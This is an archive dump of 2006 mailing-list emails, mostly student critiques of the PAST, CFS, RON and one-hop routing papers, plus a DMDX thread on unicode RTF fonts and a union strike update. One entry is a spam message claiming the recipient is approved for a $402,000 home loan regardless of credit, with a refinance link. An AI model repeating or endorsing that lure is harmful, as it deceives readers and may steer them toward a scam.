>>phone: 61 3 8344 6368 >>facs: 61 3 9347 6618 >>Staff website: psych.unimelb.edu.au/people/staff/HolmesV.html >>Laboratory >>website: psych.unimelb.edu.au/research/psycholinguistics/index.html /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The only difference between a rut and a grave is the depth. ",0,0 Gopal Parameswaran ,egs+summary@cs.cornell.edu,"Tue, 07 Mar 2006 11:00:40 -0500",PAPER 12,"PAST: This paper presents a method for storage management and caching of files using Pastry for client request routing and adding and deleting nodes. Its primary functionality is to ensure that files are replicated k times in the network with a focus on caching of popular files. Since it relies on the underlying Pastry, the queries are of the order of log N. The authors claim that their system provides high availability, scalability and security though most of it is based on Pastry’s implementation. PAST also uses hashes of files for identification and retrieval. Past supports three primary operations of adding a new file called Insert and a Lookup functionality and a Reclaim function that actually frees up the resources allocated to the stored file. When an insert request in made to insert a file into the network the SHA-1 hash of the file’s name with the client’s public key and a random salt is taken and it is redirected to the nearest node as per Pastry and then from that node forwarded to the next nearest node till k nodes have a copy of the file. Past also specifies a client storage requirement and removes the size of the storage used for all k copies from the client’s quota. The client receives an acknowledgement from all the k nodes that have the copies called the store receipt. For a lookup the client sends the SHA1 hash made for the file and Pastry does the lookup and returns a copy of the file with a high probability of returning a copy that is nearest to the client due to the locality properties of the Pastry routing schema. The deleting of a file or reclaiming the resources is the same process as adding but instead frees up the resources allocated to the copy of the file and returns back a reclaim receipt. Past introduces the concept of smartcards for security of peer to peer networks to identify users. This identification of the users makes the concept of a paid peer to peer service also more realizable especially for the area of storage where the clients are being charged for the service of k fault tolerance storage. Past does storage distribution among its nodes based a storage capacity that is mentioned when a node joins a network and used as an admission criteria. However Past does not focus on the an important issue in file storage and retrieval with regards to improving the latency of the system especially since for file systems file storage and retrieval would be a more common task and low latency requirements could be critical. This paper does not distinguish between performance tuning in terms of optimizing storage and allocating storage capacity based on connection speeds. This plays an important role since a bad client might offer a large storage capacity over a slow network and thus slow down all request that come to it. CFS In this paper the authors present the concept of a peer-to-peer storage network that uses Chord as its underlying peer-to-peer network and tries to handle robustness and load balancing and effective distribution of files. CFS is composed of two primary layers, viz. the Dhash layer and the underlying Chord. The Dhash layer performs block fetches and distribution of the file into the network by using the second layer of Chord as a distributed lookup system. It differs from the Past implementation above with regards to the distribution of the files in the network. Past stores the contents of a file at once location and hence for large files it cannot store it in the network on the associated nodes though the nodes together collectively can store it. Instead it offloads it to servers that have sufficient free space. CFS on the other hand breaks up the file into blocks and stores the data as blocks and thus is more granular in its approach. Thus the files are no longer restricted in terms of available storage capacity at a particular node but a collective capacity of the network. Also since it is broken down into smaller packets the reliability of CFS would be higher than Past since if two copies of the same file is corrupted or the nodes that contain them are down in different places Past would not be able to take either of the two files and they both becomes useless. In the case of CFS since only the individual packets are lost or corrupted the packets that correspond to the faulty section of the file are discarded and the rest can be used. CFS also differs from Past in not supporting a delete operation but instead relying on a periodic update by the client to maintain the data. However this approach also subjects the system to the condition that if the client wants to reuse storage space allocated to him he has to wait till the timeout period for the update request. Also this particular scheme also has another serious drawback in that if a client goes down due to some network issues and cannot come back up in time ",0,0 Ian Kash ,Emin Gun Sirer ,"Tue, 07 Mar 2006 11:07:22 -0500",PAPER 12,"Tried sending this to egs+summary@cs.cornell.edu, but it was bouncing. - Ian PAST is a storage system built on top of Pastry. To ensure availability of files it stores k copies of each at the k nearest nodes to the files location in the ring. It uses 2 mechanisms to store copies when one of those k is unable to store one. Replica diversion allows a node to choose another node in its leaf set to store the copy and just keeps a pointer to that node (this mechanism is also leveraged to minimize copying on node joins). File diversion uses a new salt to select a new location in the ring to store the file in the event the original region lacks room to store the file using replica diversion. PAST also uses space not currently allocated to file storage to cache files for faster lookups. One concern is that neither form of diversion seems to work well for larger files because of the likelyhood that many or most clients would be unwilling to store the entire file and would have to pay the entire cost if the file was popular. While this could be handled by a higher level application, it seems like something PAST should handle. CFS is a storage system built on top of Chord. While PAST stores the entire file, CFS breaks the file into blocks, which helps with large files and load balancing. A possible downside of this approach is that if any block is unavailable, the entire file is effectively unavailable. This means that even if the possibility of a single block being unavailable is quite small, the probability of a large file being unavailable may be quite large. Like PAST, they reject Reed-Solomon or other encodings to achieve redundancy because of the cost of fetching multiple shares per block. However, they do not consider using Reed-Solomon rather than blocking. This would maintain the advantages of blocking, while removing the reliance on having every block available to have the file available. ",0,0 Chiu Wah Kelvin So ,egs+summary@cs.cornell.edu,"Tue, 07 Mar 2006 11:18:38 -0500",Paper 12," The first paper, ""Storage management and caching in PAST…,"" presents a distributed and self-organizing peer-to-peer storage infrastructure. PAST supports three simple file operations: insertion, lookup and reclaiming(deletion) files. However, it only supports immutable file. To insert a file, it first computes the file ID using the SHA-1 hash of the file name, public key and a random salt. Then, PAST replicates the file to k nodes whose node ID is numerically closest to the file ID to maintain high file availability even when nodes fail. Since size of different files and the size of hard drive of peers various by orders of magnitude, file may not be able to fit into the node which is one of the numerically closest nodes. Therefore, we need a mechanism to solve this problem. PAST uses two techniques to divert replicas to other nodes when it doesn't fit into the nodes. First, PAST allows a node that is not one of the k numerically closest nodes to the file ID to alternatively store the file, if it is the leaf set of one of those k nodes. This is called replica diversion. If both the node and the leaf set of one of those k nodes do not fit into file, then it uses file diversion, where the client node will compute the file ID with a different salt value and retry the insert operation. There is also caching on the lookup path to improve performance for popular files. This paper only uses Pastry with a storage management layer on top of it. Storage management is only useful when storage is scarce. In most of the machines, there are plenty of storages. Also, this paper only targets in very small problem in which a file system with immutable files. It will be a lot more useful if one can update files. The second paper, ""Wide-area cooperative storage with CFS,"" also presents an alternative read-only distributed data storage system on top of Chord. CFS consists of two layers: DHash, and Chord. DHash layer is responsible for storing keyed blocks, maintaining proper levels of replication, can caching popular blocks. Chord layer is used to efficiently locate blocks of files. Instead of storing a whole file into node in PAST, CFS store blocks of files into nodes (Each file consists of root block, and each of the root block points to different data blocks). Therefore, CFS eliminates the need to manage storage of each node since each block of files is fixed size and they can be naturally load balanced using DHT. However, it will require multiple lookup for a single file. In CFS, File can be updated by its publisher who has access to the private key used to sign the root block of file while PAST only allows write-once file. To maintain replication, CFS stores a block's replicas at the k servers immediately after the block's successor on the Chord ring. To have different server storage capacities, the server with high storage capacity can enter the systems with several virtual servers to load balance the systems. The limitation of both of the distributed data storage systems do not allow clients to update files, which is a very useful features client can have. Also, it requires large bandwidth to maintain k replicas when there is churns in the systems. ",0,0 Theodore Ming Shiuan Chao ,egs@cs.cornell.edu,"Tue, 07 Mar 2006 11:26:10 -0500",paper 12,"Both PAST and CFS are highly similar in many ways. Both are layered on top of a ring-topology (Pastry and Chord respectively), replicate files on the k closest or next nodes, and perform reactive path caching. The differences they have are slight and both could easily have been extended to include the additional of others: CFS will automatically split files into blocks that are stored separately while PAST leaves that up to the supplier, and PAST supports replica and file diversion through pointers and choosing different random salts. PAST also sets a criteria by which nodes can choose to reject pushed replica or primary file storage requests based on the size of the file and available space left on the node. PAST and CFS have complementary problems with regards to file size issues. In CFS, a large file is fragmented and stored as numerous blocks that can end up on many different nodes. This causes a linear increase in the number of lookups and hops required to reassemble the file. In PAST, finding a node that would accept such a large file would be the issue, though even then, the supplier could opt to fragment the file and store arbitrarily smaller blocks independently. PAST could, however, require more hops to figure out a suitable block size for the file as it waits for insert rejections before retrying at smaller sizes. Neither PAST or CFS really present anything in the way of how file server network systems are utilized in the real world, so it's hard to judge the effect of this. PAST does conduct an experiment on a trace of web proxies, but the utilization of web proxies and a NFS would likely be extremely different based on usage and the average size of files stored. ",0,0 Abhishek Santosh Gupta ,egs+summary@cs.cornell.edu,"Tue, 07 Mar 2006 11:38:48 -0500",paper 12 - storage systems,"PAST it exploits the multitude and diversity (in geography, ownership, administration, jurisdiction) of nodes in the Internet to achieve strong persistence and high availability. PAST is layered on top of Pastry which is used for routing. files stored in PAST are associated with a quasi-unique fileid that is generated at the time of is generated at the time of its insertion into the PAST. fileid is computed as the secure hash of the file name, owner's public key along with a randomly chosen salt. each file is generally replicated on k numerically closest nodes. in order to accommodate differences in storage capacity and utilization of nodes within a leaf set, PAST allows a node that is not one of the k numerically closest nodes to alternatively store the file. this is termed as replica diversion. the authors offer a upper bound on k. Further, irrespective of the popularity of a file, k replicas are generated ( k must be proportional to popularity to relax storage requirements) they suggest caching in order to consider popularity requirements but they also state that a node might discard its cache ( rendering this caching scheme useless --no incentives- especially malicious nodes) in order to control the distribution of per-node storage capacities, PAST has a policy to allow a node with larger storage capacity to split and join under multiple nodeIds. Joining as multiple nodes with different nodeIDs seems a bad idea as opposed to multiple nodes with same nodeIds. it provides lower availability if the large node fails ( as the same node may contain multiple pointers to it since multiple nodes have different ids) . even large malicious nodes will be able to control larger portions of a node's routing table. policies: diverting a large file is better than diverting multiple small ones thereby reducing the insertion overhead and also minimizing the impact of replica diversion for lookups. in case of failures of nodes (in the case of replica diversion) background operations have to be carried out so that the affected files can be migrated. a node chosen for replica diversion must have more remaining space than the average space. the CFS paper points to the fact that the system as a whole may have sufficient space to store a file but individual nodes may not have sufficient space resulting in the file being rejected. it also suffers from load imbalance due to difference in popularity of files. CFS CFS stores blocks rather than files and spreads blocks evenly over available servers. thus although better space-efficiency is achieved the lookup time per object increases. CFS achieves better load balancing than PAST due to the above mechanism too. CFS stores data for only a finite amount of time. Thus, nodes require to request extensions periodically. this approach limits DOS attacks which try to insert garbage data into the system. whenever a file needs to be updated, the publisher is required to sign the new root node. the system checks the signature to authenticate the publisher ( external references need not be changed in case of an update). however, if the node storing the external references fails(or that space gets corrupted), the system would suffer from availability permanently. ( disk space would be reclaimed in case no extension was requested but availability would still suffer) CFS has a quota system that limits the amount of data that any particular IP can insert into the system. However, this can also serve as mechanism to launch DOS attacks by spoofing IP (assuming that different public key pairs can be generated). it uses CHORD for routing. virtual servers (having different nodeIDS) creates vulnerabilities in the system. ",0,0 Kevin ,egs+summary@cs.cornell.edu,"Tue, 07 Mar 2006 11:40:49 -0500",PAPER 12,"PAST is a persistent storage system built upon Pastry. PAST works by associating an immutable fileID with each immutable file. The fileID is a hash of file name, (owner's) public key, and a salt. The file is then stored at the Pastry node whose nodeID is closest to the fileID. In order to maintain the file, the keeper of the file sends it out to several of its leaf nodes (k of them) and tells them to store the file as well. If they do not have enough space to store the file, they can store a pointer to the file and then hand the actual file off to another node. Once the file is in the system, you have to know a file's ID in order to look it up. You can also reclaim a file knowing the fileid and owner credentials. Reclaiming is much like deleting, except that the operation is not guaranteed to succeed. In addition to the k-extra nodes that are storing the file, a replicating caching scheme allows the file to be stored at other points in the system to allow for quicker retrieval and lookup. One of the interesting designs in this paper was for the security. The authors recommend using smartcards which store public/private key pairs. This seems to imply that a central authority or, at the very least, a large amount of cooperation between peers exists. Because PAST uses files (unlike blocks like CFS), several nodes could have a large amount of storage overhead. The authors' remedy is to add indirection and therefore more latency while decreasing the structure of the underlying network. CFS is a distributed filesystem for, once again, immutable files. It reminds me a lot of the Linux filesystem, with inodes and pointers pointing to other files, directories, or inodes. Files are no longer stored in one lump, but are broken up into blocks. These blocks are stored at a pre-determined number of successors (CHORD built upon DHash, not PASTRY in this paper) in order to maintain the file. These blocks are then distributed and have pointers to them. The pointers to them are just a hash of the contents of the block. Therefore, each inode only needs to keep track of hashes. Each machine in the system has a root block which is signed (and therefore more trustable). Unlike PAST, each file has a lifetime (which the owner can ask to extend) and therefore storage is not necessarily persistent. It seems that this system is more fragile than the first. Assuming we have a k of 5 and half the nodes in the system go down with probability 1/2 and in CFS the file is broken up into 1000 chunks, then we see that the chance of losing a file in PAST is (1/2)^5=1/32. In CFS we expect to lose 1/32 of our file (which is ~32 blocks of data). We expect to lose the same amount in PAST, but it is the deviation that matters. It is a tradeoff between losing large amounts of data infrequently or losing a small amount of data more frequently. Furthermore, CFS seems to have a large amount of lookup overhead, needing to do lots of lookups in order to find the file and then to download it. ",0,0 Tudor Marian ,egs@cs.cornell.edu,"Tue, 07 Mar 2006 11:52:46 -0500",PAPER 12,"PAST is a large scale p2p persistent storage system based on the Pastry overlay. The interface provided permits insertions, lookups and reclaiming at the granularity of a file, therefore the semantics is that of a storage for immutable files. Since Pastry performs the routing, the paper focuses on the replica management, each file gets to be replicated on k distinct nodes (they may be virtual). Initially, an insert operation routes the file to the home node, that will in turn send it to k-1 of the neighbors in its leaf set. PAST uses replica diversion and file diversion to counter the storage load imbalance issue. Replica diversion means that if a node cannot accommodate locally a copy of an object, it will chose a node in its leaf set that doesn't yet hold a copy and delegate the storage responsibility to it, keeping the pointer though. File diversion happens when an object was not able to be replicated on k nodes. In such a scenario a negative acknowledgment is returned to the client, that in turn can generate a new fileID based on a different salt and retry to insert the file, thus targeting a different part of the ring. The benefits of caching are explored as well. Security is quite an issue in such a system, yet the paper defers it to a ""forthcoming"" paper. CFS is a p2p read only completely decentralized file system based on the Chord overlay. The system provides different use cases based on the role of the actors, the users and the content publishers. The users see the file system as a read only POSIX-like block file system, while the publishers are able to create and modify entire filesystems (there's a 1:1 mapping between a publisher's public key and a filesystem). CFS is layered into the file system interface, the DHash and Chord. Chord performs routing at the granularity of blocks, the blocks may be metadata blocks (like directory blocks or inode blocks) or data content blocks. The DHash layer handles the block replica placement and caching popular blocks, while the FS layer interprets the blocks at the DHash level as a file system. Load balancing is an easier problem to solve in CFS since the blocks have same size, yet the multiple indirections (even with the pre-fetching) that each may take up to logN steps cripples the performance of the system. Tudor",0,0 Scottie Singleton ,cs382m-archive@cs.utexas.edu,"Tue, 07 Mar 2006 03:17:50 -0600",RE: We can approve yours loan sr7,"Dear Homeowner, cs382m-archive@cs.utexas.edu http://lowlow1refinance.com/goodstep/ You have been approved for a $402,000 house loan (rates starting at 2.9) This offer is being presented to you right now!. Your credit history is in no way a factor. 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The \\u and a number of other unicode >control words were added to the RTF specification after or during DMDX's >design and they're real unicode. It's interesting looking at your file >because there are constructs like this: > >"" \\f2\\u20776?\\f1 \\f2\\'97\\'44\\f1 \\f2\\u20772?\\f1 "" > >It switches back to the 8 bit codes that DMDX can handle (\\'97\\'44) in the >middle of two 16 bit codes (\\u20776 and \\u20772). I tried replacing >\\u20776 with two 8 bit codes that would be binarily equivalent to it >however that's not how unicode kludges work apparently. Word and Wordpad >can display the characters because they are unicode applications (or at >the very least unicode aware applications), DMDX isn't and won't be any >time soon. > >At 08:18 AM 3/7/2006 -0700, you wrote: > >>Yeah, your file is using an RTF control word DMDX doesn't know, \\u. I'll >>see if I can't decipher how to use it but given that it looks like a >>unicode specific control word and DMDX is most specifically not a unicode >>aware application and any support it does have for it is strictly smoke >>and mirrors that Microsoft has built into the OS I don't hold much hope >>of getting it to work any time soon. That and I'm pretty busy for the >>next day or two... >> >>At 04:34 PM 3/7/2006 +1100, you wrote: >>>Hi Jonathan >>> >>>Thanks very much. The first few trials are Devangari and Bengali, later >>>ones are Cyrillic, etc, and a few other scripts. You find them when >>>making the rtf file in word by inserting special characters, and they >>>are in the arial unicode font. I need them for a symbol memory task >>>that uses letter-like symbols which are not already known to the participant. >>> >>>Virginia >>> >>> >>>A. Prof. V. M. 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Also please find below details of action short of a strike. Yvonne ~~ Yvonne Aburrow Bath AUT Secretary http://www.bath.ac.uk/aut/ +44 (0)1225 38 6022 Y.Aburrow@bath.ac.uk ------------ Forwarded Message ------------ Date: 08 March 2006 17:16 +0000 From: jonathan white Subject: Campaign update 8 March 06 Dear all, First of all, a big thanks to all you for your work in organising yesterday's fantastic strike. There were thousands of pickets out right across England, Scotland, Wales and Northern Ireland and many thousands more members attended the various rallies and meetings. We have posted a round-up of reports from the day on the web. You can find it at the following link: http://www.aut.org.uk/index.cfm?articleid=1559 As of today, we begin our Action Short of a Strike and accordingly, Sally Hunt has written to all members reminding them that we are asking them to boycott assessment and examinations, to refuse to honour call-out arrangements, boycott staff appraisal and refuse to cover for absent colleagues. Alongside our advice to members on what constitutes Action Short of a Strike and who is covered by this call, we've compiled a Frequently Asked Questions document for members and a guide for LAs titled 'Organising Your Action Short of a Strike'. (http://www.aut.org.uk/media/pdf/k/1/organisingasos.pdf) These documents can all be found at the following link: http://www.aut.org.uk/index.cfm?articleid=1519 The basics, however, are pretty straightforward: * Appoint an Action committee to coordinate reporting on the action and supporting those taking it * Make sure everyone knows about the action with regular bulletins and use your websites * Hold regular meetings and visit your members to boost their morale * Tell us what's happening! Use the Action form on the national website (see, email us directly or use the activist list. However you do it, get the information to us so that we can counter the employers' propaganda Finally, the Times Higher Education Supplement is tomorrow publishing its annual report on Vice Chancellors' salaries and it's certainly an eye-opener! Some of those pay rises are just breathtaking. AUT will be calling for an inquiry into how VCs pay is assessed and awarded. ---------- End Forwarded Message ---------- Yvonne ~~ Yvonne Aburrow Bath AUT Secretary http://www.bath.ac.uk/aut/ +44 (0)1225 38 6022 Y.Aburrow@bath.ac.uk How to subscribe/unsubscribe to/from aut-discussion: Just send an empty note to one of these addresses: : Receive future messages sent to the aut-discussion mailing list. : Stop receiving messages for the aut-discussion mailing list.",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 08 Mar 2006 19:01:28 -0700",[DMDX] RE: Re: special characters," Yeah, hadn't thought of that. Scramble shouldn't pick up on dollars that are outside quotes but a semi-colon is a semi-colon no matter where it occurs even if it is part of a font kludge. Well, there's only so far you can push an program that was designed in the early 80s and getting it to handle those instances correctly makes building a unicode version of DMDX look appealing ;) I always though version 4 of DMDX would be a 3D or 64 bit version but I guess it could be unicode instead. At 04:20 PM 3/8/2006 +0000, you wrote: >We have (mainly) successfully used fonts such as SimSun for Chinese. >There are still a few issues though - every so often DMDX mistakes one >of the Chinese characters for a DMDX control character (such as $ ; , >etc). Even allowing for that it's a whole lot easier than going down the >graphics route, which we've had to do with E-Prime and believe me that >can take ages ! > >... Chris > > > >//-----Original Message----- >//From: DMDX-owner@psy1.psych.arizona.edu >//[mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of j.c.f. >//Sent: 08 March 2006 15:49 >//To: DMDX@psy1.psych.arizona.edu >//Subject: [DMDX] Re: special characters >// >//At 10:26 AM 3/8/2006 +1100, you wrote: >//>Hi Jonathan >//> >//>Well, I can't say I understood everything, but I get the >//drift! Thanks >//>for looking at the problem for me, and at least I know now it's not >//>me. I'll now try some other way of displaying the characters. >// >// Try a different font, a non-unicode one. As far as I can >//tell there are >//three categories of font out there, normal ANSI ones (that >//might be quite >//rare these days), extended ANSI ones that DMDX can handle and >//unicode that >//it can't. >// >// /""\\ >// -jonathan (j.c.f.) \\ / >// X >// ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ >// >// What's the definition of a will? It's a dead giveaway. >// >// >//==================================================================== >// Send mail to DMDX-request@psy1.psych.arizona.edu with the word >// 'unsubscribe' by itself with no quotes in the body of the email >// to be removed from the list. The list archive is available here: >// http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >//==================================================================== >// > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The moving cursor writes, and having written, blinks on. ",0,1 Andrew Cunningham ,egs+summary@cs.cornell.edu,"Wed, 08 Mar 2006 22:14:18 -0500",PAPER 13,"Andrew Cunningham arc39 _Resilient_Overlay_Networks_ David Andersen, Hari Balakrishnan, Frans Kaashoek, and Robert Morris RON lets distributed internet applications detect and recover from path outages and periods of degraded performance much faster than current performance tuning systems (scant seconds versus several minutes, minimum). Though it exists on top of the internet, it operates as a sort of application level switch, determining whether it would be better to route a given packet over the internet directly, or through the overlay, to reach its destination. This allows improvement over normal Internet routing, and moreover, they discovered that forwarding packets by at most one hop along this intermediate protocol (a->b->c versus a->c) was (sufficiently) beneficial in most cases. This improvement comes at a price, namely a more complex view of the network topology separating two points; rather than the current system of using summaries, RON requires a richer view of connectivity. The RON is explicitly designed to be limited in size, to facilitate aggressive path maintenance via probing, without excessive bandwidth overhead, thus lending this (as is properly noted) to a specifically targetted platform -- despite countless comparisons, this is not intended to replace BGP, but to work alongside it, since BGP is far more scalable. Another interesting feature is that as this work is being done on a 'local' scale, the heuristics used to define ""failures"" and ""faults"" may be tuned to the application, which provides much better behavior than traditional BGP for certain domains. The gains of RON are narrow and slight, though present. The basic conceit is reasonable, and so long as RON picks no incorrect route, there is no reason to suppose that introducing 'delay' in the form of user-level redirection would be expensive. However, the good qualities of RON rely on the correct functioning of BGP, and the paper (quietly) admits that the system is not scalable to replace the current status quo. Thus this must be used in concert with present systems as an additional layer; this too is reasonable, though significantly less impressive when the central idea is realized to be ""route around trouble spots in a reactive fashion"". There are reasons to believe that the gains must be as slight as they are: for one thing, to get truly optimal paths would be more expensive than simply using a sub-optimal path; for another, since this must run over the internet (and not dedicated fiber), there is a natural limit to the amount of benefit that controlled switching can gain. Security is addressed only to be dismissed, which is something of a shortfall: the internet already exists, and so anything intending to improve its reliability must address all of its shortcomings. This system is more easily spoofed than the internet, since less physical labor is involved -- people actually request that you forward packets for them!-- and while applications can (successfully) layer any defenses they'd like on to insecure delivery mechanisms, the system is in the unique position of providing secure primitives for not-much-more-work. _One_Hop_Lookups_for_Peer-to-Peer-Overlays Anjali Gupta, Barbara Liskov, Rodrigo Rdrigues The take-away from this paper is that it is unnecessary to assume that routing information at each member node must be kept small to ensure that the information is fresh. Indeed, the bookkeeping required to keep this information current can be handled through dissemenation trees, scaling well with even very large rates of joins/leaves. This then dictates that lookups have a lower latency, since we need not contact several nodes, but simply at most one other node. We've seen the algorithm used here before, and the same comments hold: namely, they do this by implementing a three level hierarchy (slices and units of the address space, with each of k equal slices having a slice leader which manages its k' units (each with leader); each unit leader informs the members of its unit of all information passed down from the slice leader) through a gossip-like protocol. This is lower overhead than broadcasting every message, and utilizes caching to combine several small messages into a single large message, but suffers in the end as it places enormous strain on the unit- and slice- leaders, who must collate a lot of information; similarly, if a slice- or unit- leader fails, then it must be replaced -- this is expensive as they must maintain a lot of state. The paper's (legitimate) point is that you can reduce the slice leader's enormous output requirement by tuning the length of time it waits to accumulate messages in order to decrease the amount of messages it must send. While this helps, it is not sufficient: They choose 23 seconds for their accumulation time, which is very long on a computer-scale, which defeats the point in many applications of one hop. For an extreme example, in the previous paper we were impressed by a few seconds for routing around minutes-long IP blocks; this paper is firmly between the two. They also make the point that in many environments, there is much less churn than in the general internet. This is a boon for the paper, because the system will only suffer when there are multiple concurrent events; in that case, the slice- and unit- leaders are forced to question why they were willing to serve in that position, since they are suddenly making enormous increases to their workload. In the stable case, however, this is a beautiful, sedentary algorithm -- which forces one to question why anyone in a churn-heavy environment would volunteer for slice leader duty? ",0,0 Huang Shiang-Jia ,egs+summary@cs.cornell.edu,"Thu, 09 Mar 2006 00:06:29 -0500",PAPER 13,"* Both of the papers to be discussed today are overlay routing systems that aim to improve Internet reliability, to detect and recover from path outage and degraded performance. * RON works by 'deploying' nodes in different domains that monitor the quality of underlying Internet and route packets for each other. SOSR, instead, routes messages through a small set of 'randomly chosen' intermediaries when failure occurs. * The background path monitoring overhead in RON is high. It is thus suitable only if the overlay is small-scaled. (As indicated in the paper, it scales to about 50 nodes only.) * SOSR is less successful at routing around last-hop network failures. Its alternative routing scheme is thus suitable for some cases only (servers rather than broadband hosts, for instance). * RON (Resilient Overlay Network) is an application-level overlay that is designed (1) to quickly (within 20 seconds) detect and recover from path outage and (2) to improve the performance of loss rate, latency and throughput. * Nodes residing in different routing domains comprise a RON. They (1) aggressively probe and monitor the path connecting them, (2) exchange information about the quality of paths among themselves, (3) build forwarding tables on the basis of several path metrics, such as latency, loss rate and throughput, and (4) forward data on behalf of any communicating nodes in the RON. * RON tightly integrates the routing and path selection with applications. Applications can prioritize some metrics over others in their path selection. This demonstrates the benefits of moving some of the control over routing to end-systems. * The experimental results show that forwarding packets via at most one RON node is sufficient to overcome faults and improve performance in most cases. Therefore part of their design focus on the finding better paths via a single intermediate RON node. * This paper first conducts a measurement study of Internet path failures and found that most Internet paths worked well (availabilities range from 99.6% for servers and 94.4% for broadband hosts). * As no failure is the common case, they propose an approach that avoids the overhead to monitor paths and scales well: SOSR (Scalable One-hop Source Routing). SOSR attempts to recover from path failures by routing indirectly through a small set of random chosen intermediaries. Because the intermediaries are randomly chosen, no a priori knowledge of Internet states are needed. * They show that a stateless policy called 'random-4' quickly finds alternative paths for failures. It works as follows: when a node detects a path failure, it selects 4 intermediaries and attempts to reroute messages through them, until (1) one of the intermediaries succeeds, (2) the path self-repairs or (3) four attempts have failed. * According to their survey, broadband hosts experienced significantly more last-hop failures than servers. SOSR is less suitable for broadband hosts since it can't route around such last-hop failures.",0,0 Andrew Cunningham ,egs+summary@cs.cornell.edu,"Thu, 09 Mar 2006 00:23:04 -0500",PAPER 13,"I *knew* something looked familiar! Andrew Cunningham arc39 _Resilient_Overlay_Networks_ David Andersen, Hari Balakrishnan, Frans Kaashoek, and Robert Morris RON lets distributed internet applications detect and recover from path outages and periods of degraded performance much faster than current performance tuning systems (scant seconds versus several minutes, minimum). Though it exists on top of the internet, it operates as a sort of application level switch, determining whether it would be better to route a given packet over the internet directly, or through the overlay, to reach its destination. This allows improvement over normal Internet routing, and moreover, they discovered that forwarding packets by at most one hop along this intermediate protocol (a->b->c versus a->c) was (sufficiently) beneficial in most cases. This improvement comes at a price, namely a more complex view of the network topology separating two points; rather than the current system of using summaries, RON requires a richer view of connectivity. The RON is explicitly designed to be limited in size, to facilitate aggressive path maintenance via probing, without excessive bandwidth overhead, thus lending this (as is properly noted) to a specifically targetted platform -- despite countless comparisons, this is not intended to replace BGP, but to work alongside it, since BGP is far more scalable. Another interesting feature is that as this work is being done on a 'local' scale, the heuristics used to define ""failures"" and ""faults"" may be tuned to the application, which provides much better behavior than traditional BGP for certain domains. The gains of RON are narrow and slight, though present. The basic conceit is reasonable, and so long as RON picks no incorrect route, there is no reason to suppose that introducing 'delay' in the form of user-level redirection would be expensive. However, the good qualities of RON rely on the correct functioning of BGP, and the paper (quietly) admits that the system is not scalable to replace the current status quo. Thus this must be used in concert with present systems as an additional layer; this too is reasonable, though significantly less impressive when the central idea is realized to be ""route around trouble spots in a reactive fashion"". There are reasons to believe that the gains must be as slight as they are: for one thing, to get truly optimal paths would be more expensive than simply using a sub-optimal path; for another, since this must run over the internet (and not dedicated fiber), there is a natural limit to the amount of benefit that controlled switching can gain. Security is addressed only to be dismissed, which is something of a shortfall: the internet already exists, and so anything intending to improve its reliability must address all of its shortcomings. This system is more easily spoofed than the internet, since less physical labor is involved -- people actually request that you forward packets for them!-- and while applications can (successfully) layer any defenses they'd like on to insecure delivery mechanisms, the system is in the unique position of providing secure primitives for not-much-more-work. _One_Hop_Lookups_for_Peer-to-Peer-Overlays Anjali Gupta, Barbara Liskov, Rodrigo Rdrigues The take-away from this paper is that it is unnecessary to assume that routing information at each member node must be kept small to ensure that the information is fresh. Indeed, the bookkeeping required to keep this information current can be handled through dissemenation trees, scaling well with even very large rates of joins/leaves. This then dictates that lookups have a lower latency, since we need not contact several nodes, but simply at most one other node. We've seen the algorithm used here before, and the same comments hold: namely, they do this by implementing a three level hierarchy (slices and units of the address space, with each of k equal slices having a slice leader which manages its k' units (each with leader); each unit leader informs the members of its unit of all information passed down from the slice leader) through a gossip-like protocol. This is lower overhead than broadcasting every message, and utilizes caching to combine several small messages into a single large message, but suffers in the end as it places enormous strain on the unit- and slice- leaders, who must collate a lot of information; similarly, if a slice- or unit- leader fails, then it must be replaced -- this is expensive as they must maintain a lot of state. The paper's (legitimate) point is that you can reduce the slice leader's enormous output requirement by tuning the length of time it waits to accumulate messages in order to decrease the amount of messages it must send. While this helps, it is not sufficient: They choose 23 seconds for their accumulation time, which is very long on a computer-scale, which defeats the point in many applications of one hop. For an extreme example, in the previous paper we were impressed by a few seconds for routing around minutes-long IP blocks; this paper is firmly between the two. They also make the point that in many environments, there is much less churn than in the general internet. This is a boon for the paper, because the system will only suffer when there are multiple concurrent events; in that case, the slice- and unit- leaders are forced to question why they were willing to serve in that position, since they are suddenly making enormous increases to their workload. In the stable case, however, this is a beautiful, sedentary algorithm -- which forces one to question why anyone in a churn-heavy environment would volunteer for slice leader duty? _Improving_the_Reliability_of_Internet_Paths_With_One_Hop_Source_Routing_ Krishna P. Gummadi, Harsha V. Madhyastha, Steven D. Gribble, Henry M. Levy, and David Wetherall This paper proposes a simple, scalable approach to recover from Internet path failures. It reiterates the take-away of the previous paper, ie, that most path failures may be mitigated through the simple one-hop rerouting technique. It improves on RON's background monitoring storm, thus increasing the level of scalability. Both are bounded by the discovery that many failures are located that many failures are located so close to the destination that no alternative routing or overlay scheme can avoid them: 16% of failures on paths to servers, and 60% of failures on paths to broadband hosts were last-hop or end-system failures, which neither scheme can address. However, 66% of all popular server failures and 39% of all broadband host path failures are potentially soluble with a simple hop. More attention is also given to the analysis of how to choose alternative routing ideas; eventually, evidence dictates that attempting one-hop routing through (iteratively) each of 4 separate nodes is effective. No attention is paid to security, which is somewhat of a problem since this paper is building upon the current internet standards; since this is built on top of the current internet stratum, it should make guarantees at least as strong as the internet for the integrity, not just speed, of transmitted data; this is not done. There is no workload sharing done -- I presume that repeated connections to a given node are disallowed via that node refusing to host further routes than some maximum. Since we only try 4 random-4 samples, this is a total of 16 nodes out of however many participate in this system; this is unlikely to scale out of control but it is possible for this system to deny services it could have granted (due to a poor choice of random intermediaries). ",0,0 Ivan Stoyanov ,egs+summary@cs.cornell.edu,"Thu, 09 Mar 2006 00:30:16 -0500",PAPER 13,"Resilient Overlay Networks Lower level routing algorithms like BGP are sometimes slow to respond to failures and reconfigure themselves to use alternative paths. The paper proposes a ""do-it-yourself"" solution to this problem, where nodes 